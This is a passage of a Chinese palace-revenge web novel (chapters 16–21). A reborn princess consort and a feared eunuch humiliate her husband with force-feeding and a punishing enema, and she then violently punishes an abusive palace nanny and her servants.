《与妾做平妻?我转身改嫁九千岁杀疯了》 第十六章 王爷,请用餐吧 饿了几天,萧子景现在听见这几个字都感觉嘴里冒出了口水,下意识地吞咽了一下。 他立刻回神看向裴玉祁,对方却没有露出半点嘲讽神色。 “那就恭敬不如从命了。”萧子景最后还是一拱手。 二人很快便一起回到了裴府,裴玉祁骑马而行,萧子景却饿得头晕眼花,只能坐车。 刚一进到院中,阵阵香气传来,鸡鸭鱼肉无一不全。 萧子景忍不住深深地吸了一口,还又闻到了一丝竹叶青的冷香。 肚子又跟着咕噜咕噜地响了起来。 “酒菜看来已经备好,王爷,这边请。”裴玉祁下了马,朝萧子景做了个请的手势。 佳肴盛宴就在眼前,萧子景两眼发直地跟上,压根没有注意院中一众下人严肃紧张的表情。 二人穿过回廊进到饭厅,房门大开,桌上已经摆满了碗碟。 萧子景的呼吸都跟着粗重起来,可等走到近前一看,却狠狠地愣住了。 那碗碟里的东西,哪是什么大鱼大肉! 一块块灰白的土块垒在一起,这是什么鬼东西? 萧子景猛地一扭头,方才还走在自己身边的裴玉祁不见了,取而代之的是一个陌生男子。 他身量高挑,表情戏谑,朝着萧子景吹了一声口哨。 “景平王,请吧?” “你,你是什么人?” 此人瞧着就来者不善,萧子景被他不怀好意的笑容一激,终于后知后觉地发现,整间饭厅,连带着外面的院中都空无一人! “这不重要。” 男子的声音再度响起,人已经无声无息地来到了萧子景面前。 萧子景又吓了一跳,以他的功力,竟没听见丝毫动静? 这是个高手! “听说王爷在宫中都饿得前心贴后背了,还是先用餐吧!”男子笑弯了一双奸诈的眼,“小的伺候您?” 萧子景刚生出反抗的念头,脖颈猛地一重,被硬生生地压到桌边,脸贴着盘子“坐”了下来。 “别客气啊王爷!” “你是什么人!”萧子景徒劳地挣扎,“本王和裴玉祁无冤无仇,他为何要如此辱我!” 男子手上力气大得惊人,语气却不疾不徐,俯身朝萧子景而来,身上还带着一股好闻的熏香气息。 “王爷与裴侍郎的确是无冤无仇,可坏就坏在王爷长了张贱嘴,都说过什么,王爷自己还记得吧?” 萧子景心下一沉。 这人的阴狠做派让他想起了东厂,再一想,他前些日子和阮莹莹在背后…… 景平王府里的事情,谢无咎那阉人怎么知道的? 京中早就传言,九千岁无所不知,无所不闻,萧子景一直嗤之以鼻,眼下冷汗却唰地一声全下来了。 “这,这是误会……” “误不误会的,得由主子说了算。” 见他终于明白过来,隐月翻了个白眼,将一个盘子端到萧子景眼前。 “此物名叫观音土,吃一顿,管饱三天三夜,景平王饿了这么久,这东西最适合你了。” 萧子景听得肝胆欲裂,他就是认识叶家之前,也没破落到要吃这种东西的地步! 他宁可饿死—— “唔!” 隐月一把将半块观音土塞进他口中,阴恻恻地低下头,“小的花了一早上时间准备这顿大餐呢,王爷若是不赏脸,那就是看不起小的。” 看不起他,岂不就是看不起九千岁? 萧子景浑身发抖,伸长了脖子把满嘴的土块往下咽。 他不想死,哪怕他如今贵为王爷,也惹不起东厂啊! 可口中干涩,还混着土腥,萧子景很快便忍不住,哇地一声将还来不及咽下的观音土全都吐了出来。 还伴着几口酸水,恶心至极。 隐月嫌弃地松手躲开,捂着鼻子,刚想说话,萧子景便回身扑通跪倒在地。 “下官,下官错了!九千岁大人有大量——” 一句求饶的话还没说完,听到屋外优哉游哉传来的尖细声音,萧子景顿时张着嘴,傻了眼。 隐月也意外地回过头去。 “诶?可别,本督只是个阉人,残缺之体,哪里敢在英武神明的景平王面前充大人?” 谢无咎沿着石板路晃晃荡荡地走近,身量纤细,容貌妖冶,倒像是游荡在世间的恶鬼。 看见屋里地上的一片狼藉,他刚迈过门槛的那只脚立刻收了回去,束手站在廊下。 “本督只是个小人,小得很哪,实在当不起萧大将军这一跪,将军快起来吧。” 萧子景若是真起来就是傻子,他瑟瑟发抖,“不敢,下官——” “隐月,你怎么办的事?” 刚起的话头又立刻被打断,谢无咎啧了一声,手中折扇轻摇,语气更是轻佻。 “景平王爷饿得都站不起来了,你就是这样伺候的?没礼貌。” 隐月连忙装模作样地告罪一声,上前一把将萧子景从地上“扶”回桌边。 “王爷恕罪,都是小的照顾不周,”他看着萧子景,语气恭敬,眼神却阴冷,“您想先用哪道菜?” 哪道? 有什么区别吗! 萧子景心头悲愤而绝望,却不敢表露分毫,深吸一口气,视死如归地看着这满桌“佳肴!” 吃吧! 萧子景本想拒绝隐月的伺候,却不被理会,只见他面上带笑,三言两语便将几块观音土全都塞进了萧子景的肚子里。 起初他还有恶心的感觉,渐渐却变得麻木,肚子又重又沉,好像被什么拽着往下不断坠落…… “好了。” 吃到第四盘,谢无咎终于再次出声。 隐月收手,萧子景的眼神已经变得涣散,嘴角全是土沫,可见到那玄袍金蟒,还是飞快地清醒过来。 “景平王瞧着好像是吃饱了。” 谢无咎转动手上的佛珠,打量的目光从萧子景面上扫过。 萧子景连连点头,被那观音土填满了喉咙,竟一点儿声音都发不出来。 “饱了好啊,”谢无咎眉眼弯弯,“王爷吃得太急,再喝口汤,润润喉咙吧。” 他话音刚落,隐月便双手捧上一只碗,碗中盛了大半鲜红的液体,让萧子景一看就头皮发麻,下意识地将求饶的目光投向谢无咎。 他今天还能活着出去吗? “这是……要小人伺候王爷?”谢无咎露出一点征询的表情。 第十七章 喜怒无常九千岁 萧子景定定地打了个寒颤。 眼前这张妖冶惑人的脸,此刻犹如恶鬼一般。 “我,我怎么说也是景平王,又有军功在身,你凭什么杀我,就因为本王私下议论了你几句?” 看着谢无咎手里的汤碗,横竖都是一死,萧子景豁出去了。 “你敢随意残杀朝廷大将,陛下不会放过你的!” 萧子景瞪大一双绝望的眼,谢无咎闻言只是微微瞠目,片刻后忽然轻嗤笑了。 “本督不过是看王爷投缘,请王爷用了顿饭罢了,何来残杀?” “你——” 谢无咎口中慢悠悠地说着话,动作却凌厉又果断,一把捏开萧子景的嘴,将那碗中的汤水全数灌了下去。 萧子景动弹不得,只能仰着头拼命吞咽。 汤水的味道泛着奇异的甜,顺着他的下巴一路流过衣襟,留下蜿蜒的痕迹。 将空碗随手搁下,谢无咎仍是那笑吟吟的模样。 “王爷可喝饱了?” 萧子景顾不上回答,谢无咎松开了对他的禁锢,他翻身滚到地上,扣着自己的喉咙试图把刚才喝进去的东西吐出来。 “王妃,这场戏,你看如何?” 谢无咎的声音再次响起,萧子景的动作跟着顿住,怔愣片刻才抬起头看去。 站在门外的人,不是叶晚竹还是谁? 她怎么会在这儿! 萧子景眼底瞬间便窜起了两簇火苗。 “九千岁辛苦了。” 叶晚竹只身一人出现,扫了一眼满身狼狈的萧子景,目光很快朝着谢无咎而去。 她刚在自己的潇湘院里过了几天好日子,便被谢无咎一封信叫到了这裴府之中。 毕竟是九千岁有令,叶晚竹不敢不从。 谁知谢无咎竟然是让她来看萧子景倒霉。 虽然刚想过不要再和这位有什么交集,但看着萧子景朝谢无咎无能狂吠,又摇尾乞怜的模样,叶晚竹还是觉得—— 痛快! 自从封了外姓王,萧子景便眼高于顶,方才谢无咎狠狠地踩了他的面子,叶晚竹看着他的目光都亮了几分。 “王妃看得开心就好。” 勾唇一笑,谢无咎眼底也闪着异光。 “先前在街上看了王妃一场好戏,甚是过瘾,本督思来想去,没什么能回报的,只有也演一场了。” 他语气淡漠,听得萧子景心惊胆战,伏在地上越发哆嗦起来。 人命在这阉人口中,竟然轻飘飘的,如此不值一提! 叶晚竹却也弯起嘴唇,“多谢九千岁款待。” 只要是让萧子景吃亏受苦,她乐见其成! “好了,吃饱喝足,戏也演完了,景平王爷,收拾收拾走吧?” 谢无咎的注意力这时候又转到了地上的萧子景身上,朝他一拜,“还是说,小人得继续伺候您回去?” 萧子景的手指头止不住地颤了颤。 他还没死,身上也不疼,刚才喝下的大概不是毒药,心知还能活,萧子景硬是从地上爬起来,踉踉跄跄地告辞。 “妾身既然来了,自然要和王爷一道回府去。” 叶晚竹见状平移两步,堵住了萧子景的去路,抬眸朝着面色灰白的男人看去。 前世被他落井下石了不知道多少次,这回终于该轮到自己幸灾乐祸了! 回忆翻涌,恨海涛天,叶晚竹眼底漫开兴奋的光,看得萧子景不寒而栗。 叶晚竹绝对不会这么好心! 可他回过头,身后却是谢无咎那张笑容更加灿烂的脸。 两……两个彻头彻尾的疯子! “怎么,王爷大英雄,真的需要本督这个小人送您回府?” 谢无咎说着回府,萧子景听着似乎更像是去地府! 前有狼后有虎,萧子景腿肚子直发软,最后还是咬紧牙关又看向叶晚竹。 “有劳王妃了。” 至少,叶晚竹不敢杀他! 得了逞,叶晚竹嘴角笑意更深,与站在屋中的谢无咎躬身道别。 “本督请王妃看了这样精彩的一场戏,王妃就这么走了?” 谢无咎方才还春风和煦的脸上此时已经没了表情,煞气顿时冒了头,他语调阴冷,叶晚竹不由得又是一顿。 好个喜怒无常的九千岁。 “是妾身疏忽,”她口中从善如流,“今日都督盛情款待,待来日,妾身——” “待来日,王妃必得登门道谢。” 截住叶晚竹的话头,谢无咎那双狭长的凤眸一瞬不眨地望过来。 “一言为定。”几乎没有半分迟疑,叶晚竹便应了下来。 “王妃好走。”顷刻间,笑容又回到了他的脸上,谢无咎又看了一眼萧子景,“王爷,咱们朝会再见。” 话毕,不等萧子景有所反应,谢无咎便带着隐月率先大步走下石阶,扬长而去。 叶晚竹望着他翻飞的衣袍,忍不住皱了皱眉头。 被这位盯上,也不知是喜是忧。 扑通一声,萧子景再也坚持不住,脚下一软摔倒在地。 叶晚竹收起思绪,转头看向他。 “王爷怎么摔倒了?妾身扶你起来。” 萧子景当真已经全身无力,难以置信地看着叶晚竹伸出手,他愣愣地抬起一条胳膊。 难道叶晚竹良心发现了? 下一刻,刺骨的疼痛从臂弯传来,他下意识地惨叫一声。 “王爷这是怎么了?” 叶晚竹立刻收回手,一脸明知故问。 萧子景摸着被狠狠拧了一把的软肉,此刻已经疼得没了知觉,他连生气的力气都攒不出,只能加快起身的速度。 “我自己来,你,你别碰我!” 叶晚竹却又上前两步,“那王爷可要快些,府里还有好多事要办,我没时间陪你磨磨蹭蹭……” 见她再度靠近,萧子景不知道从什么地方来的力气,从地上一骨碌爬起来,拔腿就跑! 刚跑出去没几步,肚子沉沉坠着,又涨又痛。 萧子景刚放慢步伐,叶晚竹的脚步声便又加快,“王爷是不是累了?我扶你——” 他又忙不迭地加快脚步,忍着疼痛狂奔而去! 今日这个仇,他记下了! 萧子景跌跌撞撞地跑出裴府,等在外面的只有叶晚竹来时的那辆马车,车夫不肯先行离开,一定要等到王妃现身才行。 片刻后,叶晚竹赶了上来,笑眯眯地搀着萧子景上车。 他浑身哆嗦,逃无可逃地被推进了车厢之中。 望着景平王府的马车远去,隐月才不解地看向自家主子。 “您为何变了主意?” 第十八章 她要萧子景加倍奉还 东厂中今日传下了设宴的打算,难道不是主子为了招待这位景平王妃? “你又知道了?”谢无咎偏头看去,“怎么,你是本督肚子里的蛔虫?” 隐月连忙低头,“是属下冒昧。” “罢了。” 一摆手,谢无咎望着已经消失得无影无踪的马车,面上又挂起了熟悉的笑容。 “来日方长,机会有的是,走吧。” 隐月立刻吹响口哨,片刻后,主仆二人坐着马车扬长而去。 叶晚竹还不知道她误打误撞,躲过了一次煞神的邀请。 她正抱着双臂,看着愤怒难当的萧子景。 “你这贱妇!” 萧子景被扶上马车的时候又挨了好几记狠掐,到现在也没缓和下去,他躲在离叶晚竹最远的角落,一边还得扶着自己的肚子。 他只觉得自己腹中好像揣了一块能长大的石头,越来越重,越来越硬,扯得他五脏六腑都一起扭曲。 “吃里扒外的东西,你,你竟然勾结外人,害自己的夫君!” 萧子景越发神情狰狞,“还是那阉贼!叶晚竹,你是要毁了景平王府吗?” “王爷,我劝你谨言慎行。” 闻言,叶晚竹冷笑一声,“还是说,方才你对着九千岁的时候,也是这么称呼他老人家的?” 当着谢无咎装孙子,背后耀武扬威,也不觉得丢人! 萧子景下意识地想还嘴,隐月的质问忽然在耳边响起,他的脖子好像又被掐住了。 “若不是你这毒妇告密,他怎么会知道?”他又恶狠狠地看着叶晚竹,“现在还来假惺惺地装模作样!” 叶晚竹仍是笑着,却不达眼底。 “你这是又在怀疑九千岁的神通广大?” “你!” 萧子景于是又哽住了。 “王爷最好还是闭紧嘴,若是牵连我跟你一起倒霉——” 叶晚竹忽然抬了抬手,萧子景下意识地又往后猛躲,反应过来后脸色极其难看。 见状,叶晚竹面上的嘲讽意味更浓,闭上双眼不再理会他。 马车一路颠簸着回到了景平王府,萧子景下车时脸色惨白,嘴唇发紫,看上去随时都能昏倒在地。 双脚踩在地上,他忽然弯下腰干呕起来。 叶晚竹一脚把他踢到一边,自己跟着跳了下来,抬眼便看到书画带着两个大夫站在门前。 “王妃,”书画小步紧跑着过来,“您吩咐的事情都办妥了!” 一边说着,她好奇的眼神止不住地往萧子景身上落去。 两个大夫瑟瑟发抖地站在王府门前。 叶晚竹点点头,挨个将两人看了一眼,便把面如菜色的萧子景又推了过去。 “王爷去忆苦思甜,没想到观音土吃多了,犯恶心,你们看看吧。” 两个大夫都露出惊诧的表情。 萧子景心头生恨,可却没有说话,黑着脸向两人一拱手。 今天这奇耻大辱,不能再有第四个人知道! 聚起身上所有力气,萧子景摇摇晃晃地率先往屋中而去。 经过两个大夫的一番检查,观音土还在其次,更重要的是萧子景最后喝下的那碗汤。 “泻,泻药?”听着大夫的话,萧子景忍不住瞪圆了双眼。 大夫苦着脸,“观音土本就不是吃食,喝泻药也没多大的用处,王爷,您这是何苦来哉?” 在大夫看来,景平王这是涨肚后病急乱投医的结果。 这不是自讨苦吃吗! 萧子景头皮发麻,半是愤怒,半是后怕。 谢无咎那阉人,好下贱的手段! 可他还得咽下这口苦水! “……请大夫帮本王开方医治吧。”他咬着后槽牙道。 两个大夫对视一眼,面上又浮现出为难神色。 “王爷您吃了太多观音土,腹中没有地方,喝药也无用,为今之计,只有……用蜜灌肠。” 大夫的声音越说越低,萧子景听不分明,叶晚竹却一推房门走了进来。 “此法也太慢了,王爷坚持不住可怎么办?” 叶晚竹倒是听见了大夫的话,她挑了挑眉,“换个更快的,我听说,有种办法叫浣肠?” 将冷水灌入体内,再用木棍擀动腹部,直至肠道内的东西被排出。 屋中几人均是脸色大变。 “王妃,使不得啊,这——” 大夫额头上的冷汗都要下来了。 看景平王爷这个情况,清肠是不可避免的了,可也不至于用上这种酷刑啊! 萧子景怒瞪着叶晚竹,“你这毒妇!” “我可是为了王爷好啊。” 叶晚竹靠在门边,双眼明明是看着萧子景,目光却有些涣散。 前世她被柳汝兰弄来的那些吃食坏了肠胃,腹痛难忍,还起了高热。 柳汝兰自是不会承认,又当起了甩手掌柜,叶晚竹却想活! 她费尽力气让人给萧子景送信,求他给自己请个大夫,可等来的便是清辉院中的两个婆子,还有这浣肠酷刑! “王妃真是不懂事,王爷忙得很,能让奴婢们来便已经是你的荣幸了!” “都是一样的饭食,怎么王妃就吃不得?还是太娇气了!得好好治!” 那婆子连嘲带讽的话,她现在还记忆犹新! 叶晚竹一度以为那天自己会死,可她却挺了过来! 她曾经以为那是上天给的机会,不过重活一次,叶晚竹懂了。 机会确实是机会,是让她亲手报仇的! “二位,王爷服用观音土已经数个时辰,在车上便干呕不止,这浣肠之法虽然会有些痛苦,但胜在起效快,若是依着二位慢慢治疗,耽搁了王爷的病情——” 回过神,叶晚竹不紧不慢地说着话,一双眼中满是威胁。 “本王不要!我……呕!” 萧子景下意识地拒绝,话刚出口却变作一声干呕,浑身无力地伏在床边。 叶晚竹朝他摊了摊手。 两个大夫你看看我,我看看你。 罢了,若是真害了景平王的性命,他们的脑袋赔不起! “得罪了,王爷!” 书画早就命人在院中做好了准备,瓦缸里盛满冰凉的清水,一旁放着干净的长条凳子和木棍,几个小厮架着一脸惊慌的萧子景,让他趴伏在凳子上。 惨叫声响起之前,叶晚竹已经走到了清辉院外。 前世欠下的债,她要萧子景加倍奉还! 第十九章 那就请妹妹替我分忧 萧子景还是病倒了。 饶是两个大夫不敢对着他下太重的手,但到底是被冰凉的水灌入肠道,先前又经过谢无咎那一番折腾惊吓,萧子景躺下之后便没再起来。 他一连昏睡了两天两夜,终于再睁开眼的时候,阮莹莹和萧延正一左一右,泪眼婆娑地守在床边。 “父王终于醒了!” “王爷,您没事吧?” 听着两人紧张的声音,萧子景心头还是一暖。 叶晚竹那贱人不把他放在眼里,还好,他还有自己的妻儿! 打起精神,萧子景又后知后觉地感到身体恢复了松快,露出一个笑容轻言安慰着两人。 萧延说了几句话后,阮莹莹便朝着萧子景使了个眼色,随即找了个借口让下人将他带回屋中去了。 “王爷。” 房门一关,阮莹莹的表情顿时忧虑起来。 “姐姐连您都敢冒犯,再这样下去,只怕不是办法啊。” 又听见叶晚竹的名字,萧子景的脸色变得一片黑沉。 “那个贱妇!本王迟早要休了她!” 敢这样侮辱他! 阮莹莹心下一惊,又连忙按住,只蹙着眉头,“可是那些铺子……” 萧子景沉默片刻,重重地从鼻子里出了一口气,却没再说话。 “王爷,”阮莹莹趁热打铁,“府里的日子一天难过一天,妾身也就罢了,可延儿正在长身体,怎么能饥一顿饱一顿地吃饭,看着他这几日消瘦,妾身着急得很。” “再怎么说,姐姐现在还是王府的人,那些铺子便也是王府的,若是王爷放心,那妾身去和姐姐说,帮着姐姐一起打理铺子,这样王爷也好安心养病,王爷觉得如何?” 阮莹莹小心翼翼地看着萧子景消瘦的侧脸。 萧子景仍是沉默,眼底却有了意动。 让他去和叶晚竹低头求和是不可能的,但若是阮莹莹去,萧子景又觉得可以接受了。 她说的也没错,凭什么让叶晚竹把那么多铺子都拿走? 不仅如此,萧子景看着阮莹莹一脸为自己着想的模样,心下更是感动。 “莹莹,委屈你了,”他抬手抚过阮莹莹的侧脸,眼神怜惜,“你放心,叶晚竹手里的东西,迟早都是你的。” 王妃之位是,那些铺子和金银财宝更是! 阮莹莹脸色通红,满面娇羞地低下头去,“只要能跟王爷在一起,妾身就已经心满意足了。” 二人又说了几句话,萧子景精神不济,阮莹莹伺候着他重新睡下,这才离开。 来到屋外,被清新的风一吹,屋中的沉闷味道消失,阮莹莹这才长长地舒了口气。 打听清楚叶晚竹在潇湘院里,阮莹莹脚下一转,眼里也冒起了两簇精光。 叶晚竹这该死的贱人,将王府账面上的银钱全都卷走,自己盆满钵满,竟然连那日给萧子景看病的大夫都打发到她的春风居来要诊金! 点翠屏风虽然值钱,支撑这么一大家子却也吃力得很,天知道阮莹莹是如何咬牙将那两个大夫送走的! 她不能再坐以待毙了! 银子一定要攥在自己手里! 况且,等她将银子拿回来,在萧子景面前一定更加得脸,到时候,她王府女主人的名分也就有着落了! 越想越雀跃,阮莹莹快步走进了潇湘院中。 “哦?” 听说阮莹莹前来拜访,叶晚竹搁下账本,眼中闪动着兴味的光。 她来干什么? “让她进来。”一颔首,叶晚竹从书桌后站起身来。 阮莹莹很快被丫鬟引到了屋中,看见叶晚竹似笑非笑的表情,她下意识地便是一个哆嗦。 “妹妹怎么来了,皮痒?”叶晚竹的笑意又深了几分。 咽了咽口水,阮莹莹这才挤出一个笑容。 “姐姐真爱开玩笑,妹妹今天来,是有个不情之请。” 叶晚竹静静地看着她,就知道阮莹莹没安什么好心。 她不说话,阮莹莹自己硬着头皮道:“我看姐姐管家如此辛苦,整日早出晚归的,咱们到底是一家人,妹妹总闲着,心里也愧疚得很,方才得了王爷的首肯,来协助姐姐一起管家。” 闻言,叶晚竹毫不遮掩地嗤笑出声。 她还以为阮莹莹想了什么好办法来对付自己。 就这? 抬出萧子景,以为就能逼她就范? 叶晚竹怀疑地看着阮莹莹,上次莫不是把她吓成傻子了吧? 她嘲讽的眼神太过明显,阮莹莹脸上发烧,还是强撑着继续。 “府里的事情重要,姐姐若是不放心我,给我几个外面的铺子打理也好,妹妹学过管家,不会给姐姐添麻烦的。” 没钱寸步难行,阮莹莹咬紧牙关,语气甚是卑微。 隐忍一时罢了,等银子到手,她要叶晚竹跪着给自己磕头! “好啊。” 阮莹莹心里百转千回,想了无数个说服叶晚竹的理由,乍一听见这轻飘飘的两个字,控制不住猛地抬起头来。 叶晚竹看着她的模样,更加轻飘飘地挥了挥手。 “妹妹这话算是说到我心坎上了,姐姐我正忙得头晕眼花,有你帮忙,我求之不得呢。” 阮莹莹的表情越发迷惑起来。 叶晚竹会答应得这么痛快? 是不是有些不对? 叶晚竹回到桌边,嘴角噙着微妙的笑意。 收回来的那几个铺子亏空得要命,柳汝兰只想往大房捞钱,根本不管铺子究竟是死是活,明面上的账都平不了,那就去贷银子填,左右还是记在铺子上。 几处下来也是一笔巨款,叶晚竹本想找个机会让柳汝兰吐钱,没想到阮莹莹就这么巴巴地凑了上来。 那就让她想办法好了。 一拍桌子,叶晚竹将亏空最厉害的三处铺子点给了阮莹莹。 “妹妹若是闲着,现在就可以去瞧瞧。” 叶晚竹越爽快,阮莹莹越不安,看着书画递过来的钥匙,她咬着嘴唇,“姐姐——” “又不想去了?”叶晚竹歪着脑袋,语气调侃,“难道妹妹真是皮痒,来讨打的?” 阮莹莹深吸一口气,一把将钥匙和腰牌抓在手中。 不过是几个铺子,能难到什么地方去! “妹妹这就去替姐姐分忧!” 阮莹莹给自己打着气,昂首挺胸地走了,叶晚竹收回目光,重新坐回椅子中,让书画铺开一张信纸,思索片刻,提笔写下几个字。 “九千岁敬启……” 第二十章 宫中来人,请您过去 事到如今,谢无咎这疯子她是已经招惹上了,既然逃不过,还是早些将承诺履清,免得夜长梦多。 叶晚竹送出去的信很快就得到了回复,谢无咎邀她明日到东厂一叙。 那等阴森恐怖的地方…… “王妃,您真要去啊?”书画站在桌边,眼中满是畏惧。 定了定神,叶晚竹将信纸折起。 “去,九千岁的邀约怎能不应,我又没做错什么。” 她淡笑着看了书画一眼,“你若是害怕,便还留在府中好了。” “奴婢要陪王妃一起去!”书画连忙挺了挺胸膛,“奴婢也没做错事,奴婢不怕!” 九千岁凶名远播不假,但对叶晚竹却并未做过什么,还帮了她几次,书画不管什么名声,只要对她家王妃好,就是好人! 两人正说着话,外院的洒扫丫鬟匆匆走了进来。 “王妃,柔妃娘娘身边的嬷嬷来了,这会儿正在王爷屋中,请您过去说话呢。” 柔妃娘娘萧子晴是萧家长女,早些年萧家穷困,她被卖到宫中做宫女,萧子景有了战功后,萧家发迹,小宫女便也跟着浮出水面。 她长相好性子乖,去年生下一位公主后便封了妃位,在圣上面前虽然不算荣宠,但也占有一席之地。 当然,这只是外人所知道的。 柔妃做宫女时吃了不少苦头,一朝翻身后俨然是小人得志,她在宫中不敢太过放肆,私下里却没少仗势欺人。 前世的叶晚竹便是她欺凌的目标之一,但凡叶晚竹少被萧家吸了一滴血,这位娘娘便要派下身边亲信前来,换着花样地折磨她。 罚跪关禁闭都是家常便饭,柔妃身边有位郭嬷嬷最擅用针,能扎得人求生不得求死不能,表面上却看不出任何痕迹。 不知道今日来的,是不是这位? “走,过去瞧瞧。” 叶晚竹含笑起身,又和书画低语了两句,这才往清辉院去。 还没走到近前,她便和院外两个人高马大的婆子对上了视线。 “王妃且慢,我等要去通传。”见着叶晚竹,其中一人抬起下巴,目露倨傲。 另一人虎着脸上前,用自己的身子把院门挡住—— 下一刻,“咚”地一声,这婆子向后一仰摔倒在地,抱着膝盖倒吸一口冷气! “哪儿来的刁奴?”叶晚竹收回脚,又用扇子挑起这婆子的脸,冷汗正从她额头上不断滑落。 “主子的路也敢挡,你活得不耐烦就去自己吊死,别在这里碍人眼。” 婆子忍着膝盖钻心的疼痛,看着眼前的叶晚竹顿觉陌生。 这王妃向来三棍子打不出一个屁,今天是怎么了? 要去传信的那婆子见状把脸一拉,“王妃好生厉害,连宫中来人都敢怠慢!” 话音刚落,叶晚竹手中扇子飞出,结结实实地抽在她嘴上。 她特意选了把最结实的,扇子沉沉坠地,那婆子口鼻出血,一张嘴,半颗牙先跑了出来。 “你,你!”婆子摸着嘴角的鲜血,这下也说不出话来了。 “会闭嘴了?那接下来学滚吧,”叶晚竹冷嗤一声,“要不要我教?” 两个婆子你看看我,我看看你。 “要不……学学怎么叼骨头?”叶晚竹伸指点了点地上的扇子,“嘬嘬,来,叼回来?” 婆子脸色煞白,看上去好像快昏倒了。 “原来是王妃来了,老奴就说外面怎么这么热闹呢。” 一个声音从院中传来,叶晚竹抬起头,对上那张笑得阴阳怪气的脸。 “原来是郭嬷嬷来了,”她毫不意外,“难怪这两个蠢货,比狗会叫,却没狗聪明。” 郭嬷嬷面上的表情顿时一僵。 叶晚竹这些日子做的事情已经传到了柔妃娘娘耳朵里,她本还不敢相信,可郭嬷嬷这会儿看着眼前的人,不得不承认,叶晚竹确实是变了。 可那又怎么样? 自己可是宫中的人! 想到这儿,郭嬷嬷顿时又恢复了耀武扬威的模样。 “老奴本以为那些消息是外人谣传,没想到王妃竟然当真这般放肆!王爷生病,这院中却只有几个下人,王妃就是这样照顾夫婿的?” 没等叶晚竹说话,郭嬷嬷又上前两步。 “柔妃娘娘有口谕,王妃照顾王爷不周,罚王妃在清辉阁静跪三天三夜,替王爷精心祈福,以小惩大诫!” “王妃,你是自己过来,还是老奴派人去请你?” 伴随着郭嬷嬷这一声,院中又走出几个面色不善的婆子来。 又是这招。 叶晚竹笑笑,“我选……你跪下给我求饶。” “你说什么?”郭嬷嬷难以置信地瞪大了眼睛,又立刻怒道,“你们几个,现在就把王妃请到院子里来!” 她倒要看看,叶晚竹这是要翻天不成! 婆子们应声而动,刚气势汹汹地走出院门,迎面便被一盆水浇了个透心凉! 不仅如此,阵阵灼烧般的疼痛从皮肤上升起,眼睛也跟着睁不开了,婆子们惊慌失措,互相撞成一团。 是辣椒水! “啊啊啊!” 叫声此起彼伏,场面混乱起来,书画“咣当”一声丢下手中的铜盆,抄起靠在一旁墙角上的金杖便朝叶晚竹递了过去。 接过金杖,叶晚竹对准郭嬷嬷的脸就是一下! “我乃王妃,你算什么东西,也敢对我不敬?” 这一杖子毫不留情,打得郭嬷嬷嗷地惨叫,捂着脸转头就跑。 “叶晚竹!你敢打我?” “打的就是你!” 叶晚竹提着金杖追了上去,看准郭嬷嬷的屁股又是一下! “你这刁奴,竟然敢假传娘娘口谕!柔妃娘娘最是端庄知礼,怎么会因为这点小事如此大动干戈?我看就是你从中作梗,挑拨宫中和王府的关系!” “你胡说!你……啊!” 郭嬷嬷闻言气得浑身哆嗦,想还口却已经被叶晚竹撵上,那细长的杖子头没命般地往她腰上狠狠一砸! 半个身子瞬间没了知觉,郭嬷嬷扑通一声,摔倒在地。 叶晚竹一脚踏上郭嬷嬷的背。 “有你这样居心叵测的刁奴在柔妃娘娘身边,怎么能令人放心?今天本王妃就替天行道,杀了你这该死的奴才,还娘娘一个清净!” 第二十一章 宫里的奴才?照打不误! “你,你敢!” 郭嬷嬷后背生疼,被叶晚竹踩得几欲吐血,一颗心也因为她这番话忐忑不安,却还要嘴硬。 叶晚竹又在她眼前晃了晃那根杖子。 “此物你不会不认识吧?”她轻言细语地问着,“不过是一条胡乱咬人的狗,死在这金杖之下,也算你祖坟冒青烟了。” 一边说着话,叶晚竹一边用杖子头从郭嬷嬷后脖颈处划过。 察觉到她身上散发出来的杀意,郭嬷嬷终于哆嗦起来。 叶晚竹杀过人的! 那,那再多杀她一个,好像也不算什么…… “奴婢,奴婢错了!”郭嬷嬷咽着口水,“都是奴婢听信谣言,才惹得娘娘误会了王妃!奴婢这就回去在娘娘面前澄清一切!” 叶晚竹这是吃错了什么药,怎么这么疯! 郭嬷嬷打着哆嗦,她得回去好好和娘娘报告! “就这?” 她正在思索,头发忽然被一把拽起。 叶晚竹弯腰蹲在郭嬷嬷面前,好笑地上下打量着她。 “你胡编乱造,差点儿让我和娘娘之间有了嫌隙,一句澄清就够了?” 郭嬷嬷咬紧牙关,“奴婢给王妃赔不是!” “不够。”叶晚竹眨了眨眼,“也没诚意,一看就是还打算再犯。” “……那王妃想如何?”郭嬷嬷口中都能尝到血腥味了。 叶晚竹盯着她看了片刻,而后忽然松开了手。 “既然是多嘴多舌惹出来的麻烦,那就罚你扇自己一百个耳光吧,以小惩大诫。” 听到不用死了,郭嬷嬷先松了口气,而后脸上又一阵阵地烧了起来。 这哪是在打她,分明是要打她家娘娘的脸啊! 可郭嬷嬷也不敢不从,老老实实地起身跪在叶晚竹面前,深吸一口气,抬手扇上自己的左脸。 第一下—— “没听见。” 她动作刚刚做完,叶晚竹不紧不慢的声音便响了起来。 郭嬷嬷一哽,手上加重力气。 又一下—— “没听见。” 叶晚竹垂着眼皮,似笑非笑地看过去。 “郭嬷嬷好像并不是诚心认错,那还是我来帮你吧!” “什么?不必……了嗷!” 眼见着叶晚竹忽然起身靠近,郭嬷嬷还没回过神,双手手腕同时传来剧痛,她眼前一黑,控制不住地惨叫出声。 喀嚓声响后知后觉地在郭嬷嬷耳中回响,她奋力睁开双眼,便看到自己的一双手腕筋骨外绽,鲜血淋漓! 叶晚竹挑断了她的手筋? “啊啊啊……!” 剧痛一层层不断涌上,郭嬷嬷又怒又怕,倒在地上不住地打着滚。 叶晚竹一脚将她踢到那些噤若寒蝉的婆子们面前。 “带上你们的狗老大,赶紧滚!” 那些婆子们早就被吓破了胆子,压根没看见叶晚竹是怎么出手的,郭嬷嬷就倒下了,闻言一股脑地冲上来,将郭嬷嬷架起就往外跑。 这疯子她们不伺候了! 目送着一行人稀里哗啦地跑远,书画方才疑惑地嘟起了嘴。 “夫人,就这么放过她了?” 那郭嬷嬷惯会拿着鸡毛当令箭,从前没少来王府仗势欺人,只废她一双手,简直是太便宜了! “别急,”叶晚竹甩掉刀尖上的血珠,重新将其收好,“若是我今日就这么杀了她,柔妃娘娘可就找到收拾咱们的理由了。” 况且,她还需要郭嬷嬷进宫去替她传消息呢。 留下郭嬷嬷的命只是暂时的,日后,还有的玩! “走了书画,回去烧水,我要沐浴。” 收回目光,叶晚竹朝着书画招了招手。 王府里的这些都是小打小闹,真正的重头戏,还在明日的东厂! 